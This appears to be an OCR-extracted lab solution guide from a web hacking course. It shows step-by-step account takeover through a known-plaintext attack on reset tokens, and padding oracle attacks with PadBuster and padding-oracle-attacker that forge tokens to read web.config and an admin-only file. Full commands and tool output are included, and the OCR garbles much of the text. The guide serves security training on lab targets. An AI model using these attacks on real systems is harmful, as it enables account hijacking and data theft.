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Module: Breaking Crypto

Known Plaintext Attack

Challenge URL: http://topup.webhacklab.com/Account/ForgotPassword

¢ Reset the password of the user “johnwebhacklab@gmail.com” by generating a valid

password reset link
Solution:

Step 1: Initiate the forgot password request as user
“bbbbbbbbbbbbbbbbjohnwebhacklab@gmail.com” into the topup application:

@ topup.webhacklab.com/Account/ForgotPasswordConfirmation

@sucun! HOME ToPUP vouc

Forgot Password Confirmation.

Please check your email to reset your password

Step 2: The user will receive the password reset link with a “token” in the registered email as shown

below:

.ﬁnreb +
webdevsec@gmail.com
to bbbbbbbbbbbbbb. -

Hi bbbbbbbbbbbbbbbbjohnwebhacklab@gmail.com,
A request to reset password was received from your Account.

Use the below link to reset your password.

you did not request a password reset, you can ignore this message and continue using your current password to log in
No recent chats
Start a new one Thanks,

Team NotSoSecure

. Clirk hare to Renlv or “arward
- Click here to Reply or Forward

0.02 GB (0%) of 15 GB used Terms - Privacy
Manage

opup.webhacklab.com/Account/ResetPassword ?code=6cD0nQOLXoX5 X ubw3SIDDXSu5KSu5SroALwtlEG)cB8hCFop2kCH4j6LceF 2PBD/&wuserld=b19d4b82-56ad-407d-9191-9715¢ 1698166
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http:/topup.webhacklab.com/Account/ResetPassword?code=6cD0OnQOL X0 X5XIJubw3SIDDXSu5
K9u5roALWtIEGJc8hCFop2kCH4j6LceF2P8D/&userld=b19d4b82-56ad-407d-9191-
9715c1698166

Send another password reset request for the same username and notice that the token in the

password reset link remains constant.

Step 3: Register another account with email “aaaaaaaaaaaaaaaajohnwebhacklab@gmail.com” and
request a password reset for this account. Convert the token to Hex as described below, we can
notice that portion of the Hex is same for both the accounts, suggesting that the encryption algorithm

in use generates the same output for a given plain text:

http:/topup.webhacklab.com/Account/ResetPassword?userld=b314960e-dbaf-4979-b841-
0c6b175c3dab&code=%2BvhelSv88U085l4reA7D%2BDDXSu5K9u5roALwWtIEGJc8hCFop2kCH4
j6LceF2P8D%2F

User : aaaaaaaaaaaaaaaajohnwebhacklab@gmail.com
Token Value = +vhelSv88U08514reA7D+DDXSu5K9u5roALWtIEGJc8hCFop2kCH4j6LceF2P8D/

Base64 to Bytes to Hex:

root@Kali:~# echo
"+vheISv88U08514reA7D+DDXSu5K9u5roALwtIEGIc8hCFop2kCH4j6LceF2P8D/ " | base64 -d
| xxd -p

Hex Value =
FAF85E212BFCF14A3CEG65E2B780EC3F830D74AEE4AF6EEGBAO02F0OB4810625CF21085A29D
A4087E23E8B71E1763FCOFF
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Step 4: Based on the analysis in last step hijack the account “johnwebhacklab@gmail.com” by
registering another account bbbbbbbbbbbbbbbbjohnwebhacklab@gmail.com and trimming off the
first 16 bytes from the password reset token of this user and creating a password reset link for

“johnwebhacklab@gmail.com” :
User : bbbbbbbbbbbbbbbbjohnwebhacklab@gmail.com
Token Value =6cDONQOLX0oX5XIJubw3SIDDXSu5K9u5roALwWtIEGJIc8hCFop2kCHA4j6LceF2P8D/

Base64 to Bytes to Hex:

root@Kali:~# echo
"6cDONQOLX0oX5X1Jubw3SIDDXSu5K9u5roALwtIEGIc8hCFop2kCH4j6LceF2P8D/ " | base64 -
d | xxd -p

Hex Value =
E9COF49D038B5E85F95E526E6FO0DD22030D74AEE4AF6EEGBAO02F0B4810625CF21085A29DA
4087E23E8B71E1763FCOFF

Password Reset token for johnwebhacklab@gmail.com user is

Hex Value = 30D74AEE4AF6EE6BAO02F0B4810625CF21085A29DA4087E23E8B71E1763FCOFF

Hex to Bytes to Base64:

root@Kali:~# echo
"30D74AEEAAF6EE6BAOO2FOB4810625CF21085A29DA4087E23E8B71E1763FCOFF " | xxd -r -p
| base64

Base64 Encoded Token Value = MNdK7kr27mugAvC0gQYlzyEIWinaQIlfiPotx4XY/wP8=

w NotSoSecure part of Page: | 4
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Step 5: Navigate to

http:/itopup.webhacklab.com/Account/ResetPassword?code=MNdK7kr27mugAvC0gQYIzyEl
WinaQlIfiPotx4XY/wP8=&userld=b314960e-dbaf-4979-b841-0c6b175c3dab and change the

password of user “johnwebhacklab@gmail.com”:

O

@& o MNdKTkr27mugAvCO0gQYlzyEIWinaQlfiPotd XY fwP8=&userld=b3 14960 e
BSEME HOME ToPUP VOUCHERS SHOP LOGIN

REGISTH

Reset password

Email

Jjohnwebhacklab@gmail.com

Password

ConfirmPassword

RESET

Step 6: The Figure shows that the application allowed to change the password using the token

<« c ‘@ | ® topup.webhacklab.com/Account/ResetPasswordConfirmation |

= NOTESEC'-“E HOME TOPUP VOUCHERS SHOP

~ 9@ % O

LOGIN

REGISTER

Reset password confirmation.

our password has been reset. Please click here {o log in

Cambridge, CB1 2JD, UK

ecure Global Services Limited. All rights reserved. NotSoSecure Global Services Limited, CB1 Business Centre, Twenty Stat
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Padding Oracle Attack

Challenge URL: http://topup.webhacklab.com/download.aspx?invoice={ciphertext_invoice}
Identify a padding oracle vulnerability to:

o Decrypt the ciphertext for the invoice parameter.

o Encrypt the payload to download the content of the “web.config” file from the server
Solution:

The application takes an encrypted parameter filename to retrieve invoice details from the server.

Step 1: When a valid ciphertext value is passed to the filename parameter, the application returns
the content of a file as shown in the figure below.

http:/ltopup.webhacklab.com/download.aspx?invoice=hXzPd+J2DtGGJfCvloRbULfadd1LWrf
HVuYgw6AAIdUt3+PhqjE5J0hjluu9ed8wcJIvXpFvCIMMEP882ywGBkA==

topup.webhacklab.com/download.aspx?invoice=hXzPd+)2DtGG|fCvioRbULfadd 1LWrfHVUYgwBAAIdUE3+PhqjE5)0hj LuuSedB8wc)vXpFvCIMMEP882y WGBkA==

le @ Health Check @ Shopping Portal | Topup Website @ MBlog Portal [llJWT @ Database Connection @ Resume Uploading @ NodeJS @ Node RCE

NOT SECURE Invoice No#: 2567
Date : 7/11/2018 1:43:48 AM

CB1 Business Centre,
Twenty Station Road Cambridge sunil@webhacklab.com
CB1 2JD United Kingdom

Payment Method Card
Amount 310 GBP
Item Price
Vodafone 310 GBP

Total: 310 GBP

w NotSoSecure part of Page: | 6
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Step 2: When an invalid ciphertext value is passed to the filename parameter, it responds with bad
padding error.

http:/topup.webhacklab.com/download.aspx?invoice=hXzPd+J2DtGGJfCvioRbULfadd1LWrfHVuYg
W6AAIdUt3+PhgjE5J0hjluu9ed8wcIvXpFvCIMMEP882ywGBaA==

# | € ) O | topup.webhacklab.com/download.aspx?invoice=hXzPd+)2DtGG)fCvioRbULfadd1LWrfHVuYgw6AAIdUL3+PhagjE5)0hjluu9ed8wc)vXpFvCIMMEP882ywGBaA==
® NotSoSecure @ Health Check @ Shopping Portal | Topup Website @ MBlog Portal [llJWT @ Database Connection & Resume Uploading @ NodeJS @ Node RCE

Padding is invalid and cannot be removed.

This behaviour can further be used to identify whether the encrypted value has proper padding or
not.

Step 3: Padbuster tool can be used to automate the padding oracle attacks. Decrypt ciphertext
using the following command:

./padbuster.pl
"http://topup.webhacklab.com/download.aspx?invoice=hXzPd+J2DtGGJfCvIoRbULfadd1L
WrfHVuYgw6AAIdUt3+PhqjE5J0hjluu9ed8wcIvXpFVCIMMEP882ywGBkA=="
"hXzPd+J2DtGGIfCvIoRbULfadd1LWrfHVuYgw6AAIdUt3+PhqjE530hjluu9ed8wcIvXpFvCIMMEPS
82ywGBkA==" 16 -encoding @ -error "Padding"

| PadBuster - v@.3.3 |
| Brian Holyfield - Gotham Digital Science |
| labs@gdssecurity.com |

INFO: The original request returned the following
[+] Status: 200

[+] Location: N/A

[+] Content Length: 6895

INFO: Starting PadBuster Decrypt Mode

w NotSoSecure part of Page: | 7
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[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]

[+]
[+]
[+]

% k%

[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]

Y%

Success:
Success:
Success:
Success:
Success:
Success:
Success:
Success:
Success:
Success:
Success:
Success:
Success:
Success:
Success:
Success:

**¥* Starting Block 1 of 3 ***

(156/256) [Byte 16]
(160/256) [Byte 15]
(75/256) [Byte 14]
(238/256) [Byte 13]
(104/256) [Byte 12]
(63/256) [Byte 11]
(189/256) [Byte 10]
(71/256) [Byte 9]
(23/256) [Byte 8]
(203/256) [Byte 7]
(183/256) [Byte 6]
(33/256) [Byte 5]
(229/256) [Byte 4]
(93/256) [Byte 3]
(191/256) [Byte 2]
(95/256) [Byte 1]

Block 1 Results:
Cipher Text (HEX): b7da75dd4b5ab7c¢756e620c3a00021d5
Intermediate Bytes (HEX): bl4eadl16d3423fe@bl44c79d16b66265

Plain Text: 42bal4117a724295

Starting Block 2 of 3 ***

Success:
Success:
Success:
Success:
Success:
Success:
Success:
Success:
Success:
Success:
Success:
Success:
Success:
Success:
Success:
Success:

(29/256) [Byte 16]
(191/256) [Byte 15]
(202/256) [Byte 14]
(62/256) [Byte 13]
(1/256) [Byte 12]
(240/256) [Byte 11]
(40/256) [Byte 10]
(149/256) [Byte 9]
(5/256) [Byte 8]
(118/256) [Byte 7]
(151/256) [Byte 6]
(140/256) [Byte 5]
(30/256) [Byte 4]
(225/256) [Byte 3]
(28/256) [Byte 2]
(59/256) [Byte 1]

NotSoSecure part of
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Block 2 Results:

[+] Cipher Text (HEX): 2ddfe3elaa3139274863d6ebbd79df30

[+] Intermediate Bytes (HEX): d5ebllef786280f263dfl6fac63543e2
[+] Plain Text: bl1d238755969f5b7

*** Starting Block 3 of 3 ***

[+] Success: (198/256) [Byte 16]
[+] Success: (42/256) [Byte 15]
[+] Success: (143/256) [Byte 14]
[+] Success: (78/256) [Byte 13]
[+] Success: (27/256) [Byte 12]
[+] Success: (37/256) [Byte 11]
[+] Success: (145/256) [Byte 19]
[+] Success: (181/256) [Byte 9]
[+] Success: (219/256) [Byte 8]
[+] Success: (200/256) [Byte 7]
[+] Success: (207/256) [Byte 6]
[+] Success: (54/256) [Byte 5]

[+] Success: (127/256) [Byte 4]
[+] Success: (103/256) [Byte 3]
[+] Success: (72/256) [Byte 2]

[+] Success: (237/256) [Byte 1]

Block 3 Results:

[+] Cipher Text (HEX): 709bd7a45bc220c3043fcf36cb018190

[+] Intermediate Bytes (HEX): 0©3b7978cc63a322c4368ddedb672d43b
[+] Plain Text: .html

** Finished ***
[+] Decrypted value (ASCII): 42bal4117a724295b1d238755969f5b7.html

[+] Decrypted value (HEX):
34326261313431313761373234323935623164323338373535393639663562372E68746D6COBOB
©BoOBOBOBOBOBOBOBOB

[+] Decrypted value (Base64):
NDJiYTEOMTE3YTcyNDISNWIXZDIzODcINTk20WY1YjcuaHRtbAsLCwsLCws

w NotSoSecure part of Page: | 9
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Alternative: padding-oracle-attacker tool can be used to automate the padding oracle attacks.

Decrypt ciphertext using the following command:

padding-oracle-attacker decrypt "http://topup.webhacklab.com/download.aspx?invoice="
b64:hXzPd+J2DtGGJfCvIoRbULfadd1LWrfHVuYgw6AAIdUt3+PhqjE5J0hjluu9ed8wcIvXpFvCIM
MEP882ywGBkA== 16 Padding -e base64

34326261313431313761373234323935 42bal4117a724295
62316432333837353539363966356237 b1d238755969f5b7
2e68746d6c@b0bObobobobObObObObAb .html

EEERRE NN NN NN RN NNRR RN NNNNNRNNRN 100.0%  1x1 161/256

total network requests | last request took | downloaded | uploaded

42bal4117a724295b1d238755969f5b7. html

34326261313431313761373234323935623164323338373535393639663562372e68746d6c0b@b0b0bObObObObAbOLOD

bl4ead16d3423fe@bl44c79d16b66265d5eb11ef786280f263df16fac63543e203b7978cc63a322¢4368dde@b672d43b

NotSoSecure part of Page: | 10
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Encrypt payload to download arbitrary files (web.config in this case)

Step 4: Run padbuster with "-plaintext" argument to create a ciphertext for the plaintext

"..lweb.config"

./padbuster.pl
"http://topup.webhacklab.com/download.aspx?invoice=hXzPd+J2DtGGIfCvIoRbULfadd1
LWrfHVuYgw6AAIdUt3+PhqjE5J0hjluu9ed8wcIvXpFvCIMMEP882ywGBkA=="
"hXzPd+J2DtGGIfCvIoRbULfaddlLWrfHVUYgw6AAIdUt3+PhqjE5J0hjluu9ed8wcIvXpFvCIMMEP
882ywGBkA==" 16 -encoding @ -error "Padding" -plaintext ../../web.config

| PadBuster - v0.3.3 |
| Brian Holyfield - Gotham Digital Science |
| labs@gdssecurity.com |

INFO: The original request returned the following
[+] Status: 200

[+] Location: N/A

[+] Content Length: 643

INFO: Starting PadBuster Encrypt Mode
[+] Number of Blocks: 2

[+] Success: (212/256) [Byte 16]
[+] Success: (196/256) [Byte 15]
[+] Success: (44/256) [Byte 14]
[+] Success: (219/256) [Byte 13]
[+] Success: (223/256) [Byte 12]
[+] Success: (26/256) [Byte 11]
[+] Success: (109/256) [Byte 10]
[+] Success: (118/256) [Byte 9]
[+] Success: (235/256) [Byte 8]
[+] Success: (142/256) [Byte 7]
[+] Success: (231/256) [Byte 6]
[+] Success: (142/256) [Byte 5]
[+] Success: (215/256) [Byte 4]
[+] Success: (82/256) [Byte 3]
[+] Success: (124/256) [Byte 2]
[+] Success: (209/256) [Byte 1]

w NotSoSecure part of Page: | 11
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[+]
[+]

[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]

Success:
Success:
Success:
Success:
Success:
Success:
Success:
Success:
Success:
Success:
Success:
Success:
Success:
Success:
Success:
Success:

Block 2 Results:
New Cipher Text (HEX): 2f9bb0346e02680c9284f03431c72e3d
Intermediate Bytes (HEX): 3f8ba0247e12781c8294e02421d73e2d

(26/256) [Byte 16]
(125/256) [Byte 15]
(45/256) [Byte 14]
(93/256) [Byte 13]
(251/256) [Byte 12]
(158/256) [Byte 11]
(194/256) [Byte 10]
(31/256) [Byte 9]

(7/256) [Byte 8]

(63/256) [Byte 7]

(239/256)
(107/256)
(140/256)
(105/256)
(206/256)
(185/256)

Block 1 Results:
[+] New Cipher Text (HEX): 7913b657b735bc958b17076Fc9b6e880
[+] Intermediate Bytes (HEX): 573d9979991acbf@e9396400a7d081le7

[+] Encrypted value is:
eR02V7c1vIWLFwdvybbogC%2BbsDRuAmgMko TWNDHHL jJOAAAAAAAAAAAAAAAAAAAAA

[Byte
[Byte
[Byte
[Byte
[Byte
[Byte

6]
5]
4]
3]
2]
1]

** Finished ***

Y%
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Alternative: Run padding-oracle-attacker with "encrypt" argument to create a ciphertext for the

plaintext "../../web.config"

padding-oracle-attacker encrypt "http://topup.webhacklab.com/download.aspx?invoice="
"..I..lweb.config" 16 Padding -e base64

~~~ENCRYPTING~~~
total bytes: | blocks:

2e2e2f2e2e2f7765622e636f6e666967 ../ .. /web.config
10101010101010101010101010101010
1x1 71/256

total network requests | last request took downloaded | uploaded

7913b657b735bc958b17076fc9b6e8802T9bb0346202680c9284f03431c72e3d00000000000000000000000000000000

573d9979991acbf0e9396400a7d081e73f8bad247e12781c8294e02421d73e2d

http://topup.webhacklab.com/download.aspx?invoice=eR02V7c1vIWLFwdvybbogC%2BbsDRuAmgMko TwNDHHL jOA
AAAAAAAAAAAAAAAAAAAA
private

Step 5: Open the following URL to view the contents of the web.config file in HTML source.

view-
source:http://topup.webhacklab.com/download.aspx?invoice=eRO2V7c1vIWLFwdvybbogC%2Bb
SDRuUAMgMkoTWNDHHLjOAAAAAAAAAAAAAAAAAAAAA

SoSecure @ Health Check @ Shopping Portal | Topup Website @ MBlog Portal [llJWT @ Database Connection @ Resume Uploading @ Node)S @ Node RCE
\Windows\Microsoft.Net|Framework|vx.x\Config
-

<configuration>

<appSettings />
<connectionStrings />
<system.web>

<l--

set com

symbols

tion debug="true" to insert debugging
the comp 1 page. Because this
iance, set this value to true only
nent.

affects
during deve

<compilation debug="true">
<assemblies>
<add assembly="System.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089" />
<add assembly="System.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" />
<add assembly="System.Data.DataSetExtensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089" />
<add assembly="System.Xml.Ling, Version=3.5.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089" />
</assemblies>
</compilation>
</

The

section enables configuration
n mode used by
ng user.

<authentication>
ASP.NET to

<authentication mode="Windows" />

it enables develo

to be displayed in place of a error st

<customError

<error sta

mode="RemoteOnly" defaultRedirect="GenericErrorPage.htm">
sCode="463" redirect="NoAccess.htm" />
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Exploiting padding oracles with fixed IVs

Challenge URL: http://reimbursement.webhacklab.com/Support/LoadSupportTicketFile
e Access the file where id=0 which can only be accessible by an admin.
Solution:

Step 1: Log in to the application and click on the 'support’ button and click on the 'View' link as

shown in Figure:

&« [ # reimbursement.webhacklab.com/Support - O Wl moe & ¢ &

Support.

Add or View your support ticket

Add Ticket: [ Add
View All Tickets: | [View]

Step 2: To view the file content uploaded along with a support ticket when it’s created. It is required

to click on the link mentioned in 'FileName' column as shown in figure:

G @ © #& reimbursement.webhacklab.com/Support/ViewTicket - U W v mw o ® ® @ &

Support Ticket Details

DateTime Title Descryption FileName
2020-05-06T21:47:46.043 This is new ticket As the resource is not accessible 637243984659041027_sample.txt
please help

Showing 1 to 1 of 1 entries

Previous Next

NotSoSecure part of Page: | 14
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Step 3: Upon clicking on the link of the above step, the application sends a request to the server

which contains file id in the 'id' parameter and user token. If user token is valid and file id belongs to

logged in user then application responds with file content of supplied id parameter as shown in
figure:

Send | Cancel <|v > v Target: http:/ /reimbursement.webhacklab.com /@
Request

Raw | Params | Headers | Hex

1 GET /Support/LoadSupportTicketFile?id$90036664token=
|a_fall?649cd4dfbba2b2Db93fd3f2398b2227cb9ab89722bbec7d89?919d628a6?640e4f17fa48adlefc37DdbOff668e7]
HTTP/1.1

2 Host: reimbursement.webhacklab.com

3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.14; rv:75.0) Gecko/20100101 Firefox/75.0

4 Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,image/webp,*/*;g=0.8

5 Accept-Language: en-US,en;g=0.5

6 Accept-Encoding: gzip, deflate

7 Connection: close

@@ |iJ w Search... 0 matches  Pretiy

Response

JRaw ] Headers IHex {Render ]

1 HTTP/1.1 200 OK

2 Cache-Control: private, s-maxage=0

3 Content-Type: text/html; charset=utf-8
4 Server: Microsoft-IIS/10.0

5 X-AspNetMvc-Version: 5.2

6 X-AspNet-Version: 4.0.30319

7 X-Powered-By: ASP.NET

8 Date: Wed, 06 May 2020 17:48:07 GMT

9 Connection: close
10 Content-Length: 21

11
lZlThis is sample ticketl

Step 4: Based on the exercise challenge if we directly try to access a file where id=0 then the

application responds with 'File not found!!" error message as shown in Figure:

 Send Cancel <|v > Target: http://reimbursement.webhacklab.com /C

Request
Raw | Params | Headers | Hex

1 GET /Support/LoadSupportTicketFile1. id=0|§token=
afal7649cd4dfbba2b20b93£d3£2398b2227cb9%9ab89722bbec7d897e19d628a67640e4f17fad48adlefc370db0f£f668e7
HTTP/1.1

2 Host: reimbursement.webhacklab.com

3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.14; rv:75.0) Gecko/20100101 Firefox/75.0

4 Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,image/webp,*/*;g=0.8

5 Accept-Language: en-US,en;g=0.5

6 Accept-Encoding: gzip, deflate

7 Connection: close

®{§§! b BJ Search... " 0 matches Pretty

Response

Raw | Headers ]Hex IRender ]

1 HTTP/1.1 200 OK
2 Cache-Control: private, s-maxage=0
3 Content-Type: text/html; charset=utf-8
4 Server: Microsoft-IIS/10.0
5 X-AspNetMvc-Version: 5.2
6 X-AspNet-Version: 4.0.30319
7 X-Powered-By: ASP.NET
8 Date: Wed, 06 May 2020 17:54:29 GMT
9 Connection: close
10 Content-Length: 16

1
1%] File not found!! |
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Step 5: To access a file where id=0, it is required to send the token which belongs to the user who is
owning a file where id=0. To achieve this, we have to modify the token but when we try to modify

token application respond with '‘padding error' as shown in the figure:

Send | < |¥ Target: http://reimbursementwebhacklab.com /C

| (Rava) Params | Headers | Hex | Replaced last hex value from ‘b7’ to "00°

1 GET /Support/LoadSupportTicketFile?id=5371369&token=
bc772f3d45ad987c644738525a2005490aa6¢6d90db3?0d1ea362a0bcb08c1b0fdf20df1d76e472d5364343855d219
HTTP/1.1

@@\%JAJ ‘ rch . B ‘ 0 matches
Raw | Headers iHex TRender‘
T == n =

11
12|Padding is invalid and cannot be removed.)

Step 6: Let’s try to decrypt the token using Padbuster utility as shown in figure:

Command:

./padbuster.pl
"http://reimbursement.webhacklab.com/Support/LoadSupportTicketFile?id=X&token=
$TOKENS" "$TOKEN$" 16 -encoding 1 -cookies
.AspNet.ApplicationCookie=$SESSION_COOKIE_ VALUE$ -error "Padding"

foobar@ubuntu20012:-$ ./padbuster.pl "http://reimbursement.webhacklab.com/Support/LoadSupportTy
icketFile?1d=0&token=aTal7649cd4dTbba2b20b93Td312398b2227ch%9ab89722bbec7d897e19d628a67640e4 117
fa48adlefc370db0ff668e7" "afal7649cd4dfbba2b20b93Td372398b2227cb9ab89722bbec7d897e19d628a67640
edfl7fad48adlefc370dboffee8e7" 16 -encoding 1 -cookies .AspNet.ApplicationCookie=f3tOnL9HmZ11Q2
z0gCC6PHA620A9BvkDZhIN2jCDSY3008TFMmMu2IdFfsbODj3Tfcw0BOW7q7DDrom5ycGI_XsO0CyCH58dsKvMT7q-tyS9vP]
Qt354rZMmyYjcgEOVcIbaMbeP-v-qnIGyHyCovt00wsi3k8361515T05eKCLkrVey32YvFrfkX_ktH6TAIWC7JAqokLTxu
2cHzZNm6T7xg1Dpb7r867qu3eAsiePM20FNTZOmMMVVLrNONO7IxU2-GTIrQgDMxYZp4nR131EXhpApMepNOSEZ1dY1FTJIP]
16zZUEC_TQ1t32_tClECal00ulY-paGRghOMHqqVevV-euYQ_sg_Le3ZIvs43yfVo_IDM4FQILLDIgkZjeCIANM12Bi-TyY
KAKXcAU4Q6SFLH2V1TOP-njQyaAlBcxTLLhIhwAmdm52z7TN1X_YJIvPpUuUlkiDTmgRfYUwDqz2hjFPK19QqonAPzkGzxL|
syHceyM -error "Padding”

| PadBuster - v0.3.3
| Brian Holyfield - Gotham Digital Science
| labs@gdssecurity.com

INFO: The original request returned the following
[+] Status: 200

[+] Location: N/A

[+] Content Length: 15

INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***

[+] Success: (163/256) [Byte 1]

Block 2 Results:

[+] Cipher Text (HEX): 7640e4fl7fa48adlefc370db0ff668e7

[+] Intermediate Bytes (HEX): 4d49b2f7d7e25199917a8e791edl2fal
[+] Plain Text: onymous"}

*#* Finished *#**

[+] Decrypted value (ASCII): 74204,"User":"anonymous"}

[+] Decrypted value (HEX): 37343230342C2255736572223A22616E6F6E796D6F7573227D07070707070707

[+] Decrypted value (Base64): NzQyMDQsIlVzZXIi0ilhbm9ueWlvdXMifQcHBwcHBwc=
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Alternative: Let’s try to decrypt the token using padding-oracle-attacker utility as shown in figure:

Command:

padding-oracle-attacker decrypt
"http://reimbursement.webhacklab.com/Support/LoadSupportTicketFile?id=X&token=
" "hex:$TOKEN$" -H "Cookie: .AspNet.ApplicationCookie=$SESSION_COOKIE_VALUE$"
16 Padding -e hex

39353034332¢2255736572223a22616e 95043, "User":"
6f6e796d6f7573227d07070707070707 onymous"}

EEEREEN NN NN N NRRRRR N NRNNRRRNNNRNNN 100 0% 1x1 13/256

total network requests | last request took | downloaded | uploaded

95043, "User": "anonymous"}

39353034332¢2255736572223a22616e6f6e796d617573227d07070707070707

1dc228e627aeecaaabch6d85ab72ad21c87eaafOblfdc4cdd8ae235cab60f05dbf
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w

Step 7: Try to create token where "'user":"admin™ using padbuster as shown in figure:

Command:

./padbuster.pl
"http://reimbursement.webhacklab.com/Support/LoadSupportTicketFile?id=0&token=
$TOKEN$" "$TOKEN$" 16 -encoding 1 -cookies
.AspNet.ApplicationCookie=$SESSION_COOKIE_VALUE$ -error "Padding" -plaintext
"","user":"admin"}"'

| - $_./padbuster ol "htto://reimbursement webhacklab. com/Subbort/lLoadSupportT
icketFile?id=0&token{-afal7649cd4dfbba2b20b93fd312398b2227ch%9ab89722bbec7d897e19d628a6/640e4f17
fa4B8adlefc370db0ff668e/" “"atal/b4Ycd4dTbbalblubY3td3T2398b222/cbYab8y/22bbec/d8Y/elYd628a67640
e4fl7fad8adlefc370db0ff668e7" 16 -encoding 1 -cookies .AspNet.ApplicationCookie=f3tOnL9HmZ1iQ2
z0gCC6PHd620A9BvkDzhIN2jCDSY3008TFMmuU2IdFfshOD]j3fcwOBOW7q7DDrOom5ycGI_Xs0CyCH58dsKvMT7q-tyS9vPJ
{Qt354rZMmyY jcgEOVcIbaMbeP-v-qnIGyHyCovt00wsi3k8361515T05eKCLKkrVey32YvFrTfkX_ktH6TAIWC7JAqokLTxu
2cHzNm6f7xg1lDpb7r8G7qu3eAsiePM2OFNTZOmMYVLrfNONO7IXU2-GTIrQgDMxYZp4nR131EXhpApMepNOSEZz1dY1FTJIP,
16zUEC_TQ1t32_tCLECal00ulY-paGRghOMHqqVevVv-euYQ_sg_Le3ZJvs43yfVo_IDMAFQILLDIgkZjeCIANM12B1-TyY
KAKXcAU4Q6SFLH2V1TOP-njQyaAlBcxTLLhIhwAmdin52z7TN1X_YJIvPpUuULkiDTmgRfYUwDqz2hjFPK19QqonAPzkGzxL|
syHccyM -error "Padding" -plaintext '","user":"admin"}'

| labs@gdssecurity.com

| PadBuster - v0.3.3 Btali649CdAdfbba2b200931d312398b
| Brian Holyfield - Gotham Digital Science 2227cb9ab89722bbec7d897e19d628a6
- XT00 25484 CelCac0DC22a26e3H82De6d
CAIC5e0C5e1 0023060022 367,67l 85

INFO: The original request returned the following

(+] Status: 200 00000000000000000000000000000000

[+] Location: N/A
[+] Content Length: 15

INFO: Starting PadBuster Encrypt Mode
[+] Number of Blocks: 2

Success: (117/256) [Byte 16
[+] Success: (49/256) [Byte 1]

Block 1 Results:
[+] New Cipher Text (HEX): fdd25484cefca90bc22a26e3ff82bcéd
[+] Intermediate Bytes (HEX): dffe76f1lbd99db29f808478792ebd24f

** Finished ***

[+] Encrypted value is: fdd25484cefca90bc22a26e3ff82bc6dcd4lc5edc5¢cTfd0230e0d223716767¢c185000000
POOOOOOOOOOOOAEEEOOLOOO00D
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Alternative: Try to create token where "user":"admin™ using padding-oracle-attacker as shown in

figure:

Command:

padding-oracle-attacker encrypt
"http://reimbursement.webhacklab.com/Support/LoadSupportTicketFile?id=0token="
-H "Cookie: .AspNet.ApplicationCookie=$SESSION_COOKIE_VALUES$"
"","user":"admin"}' 16 Padding -e hex

GET /Support/LoadSupportTicketFile?id=9978510&token=
241718d21482c8ffcfd3aa788d08b372e884d66670a93ffff7e532cd67f75ab87897d1f02b82611177eb8d5478947975 HTTP
p root@kali: ~/tools/xxe

File Actions Edit View Help

root@kali: ~/tools/VPN x root@kali: ~/tools/xxe * root@kali: ~/tools/xxe *

i i i

~~~ENCRYPTING~~~
total bytes: | blocks:

2
2. 222c2275736572223a2261646d696e22 ", "user":"admin" @
3s 7dofofofofofofofofofofofofofofof }

100.0% 1x1 207/256

total network requests | last request took downloaded | uploaded

fdd25484cefca90bc22a26e3ff82bcbdc4slc5edc5cfd0230e0d223716767c18500000000000000000000000000000000

dffe76f1bd99db29f808478792ebd24fb91351d353f20d3fefdd2c7e6868ce8a

24f718d21482c8ffcfd3aa788d08b372e884d66670a93ffff7e532cd67f75ab8fdd25484cefca90bc22a26e3ff82bc6dc
41c5edc5¢fd0230e0d223716767c18500000000000000000000000000000000

Step 8: Now take the 1st 2 blocks i.e. 32 bytes (64 hex characters) of the original token and append

it with the newly generated arbitrary text as shown above to access id=0.

[Target: http:,’,’reimbursement.webhacklab.comI /

\n Actions ¥

1 GET /Support/LoadSupportTicketFile?id=0&token=
24718d21482c8ffcfd3aa788d08h372e884d66670a93Ffff7e532c¢d67F75ah8fdd25484cefcad0bc22a
26e3ff82bcbdc4lc5edc5cfd0230e0d223716767c 185
HTTP/1.1

2 Host: reimbursement.webhacklab.com

3 User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:78.0) Gecko/20100101 Firefox/78.0

@ﬂ:é} ||| Search... 0 matches

4547 Raw Render \n Actions v

8 Date: Sun, 11 Jul 2021 11:17:14 GHT
9 Connection: close
10 Content-Length: 36

11
12IThe secret is : 0GB84fj5cqeccV8I3RwWg8

@@ <= 0 matches
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Hash length extension Attack

Challenge URL: http://topup.webhacklab.com/Shop/Topup [Payment]

e Buy atopup at less than total payable amount using your registered account.

Solution:

Step 1: Login and navigate to the topup feature of the recharge application. Select a topup and

initiate the payment process.

Checkout

02 Back €
02 300 GBP
Service charge 10 GBP
Voucher Discount NA
Membership Discount (%) 0

Total 310 GBP

Apply voucher code (if any)

rder >
Apply voucher code and get up to 80% discount Order Notes

Voucher

Step 2: Intercept the request and send this request to Repeater

Intercept HTTP history WebSockets history Options
/ Request to http://pay.webhacklab.com:80 [192.168.200.10]

| Forward H Drop Intercept is on Action || QOpen Browser Comment this item |W

Pretty \n Actions v Select extension... W

1 POST /pg.php HTTP/1.1
2 Host: pay.webhacklab.com
3 User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:78.0) Gecko/20100101 Firefox/78.0

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;9=0.8

5 Accept-Language: en-US,en;g=0.5

6 Accept-Encoding: gzip, deflate

7 Content-Type: application/x-www-form-urlencoded

3 Content-Length: 309

9 0rigin: http://topup.webhacklab.com

10 Connection: close

11 Referer:
http://topup.webhacklab.com/shop/Payment ?productid=11&vcode=41324d31304a554chuser=27a9b038-6545-42
45-8f18-ec1B832fb8a3fénotes=

12 Upgrade-Insecure-Requests: 1

13

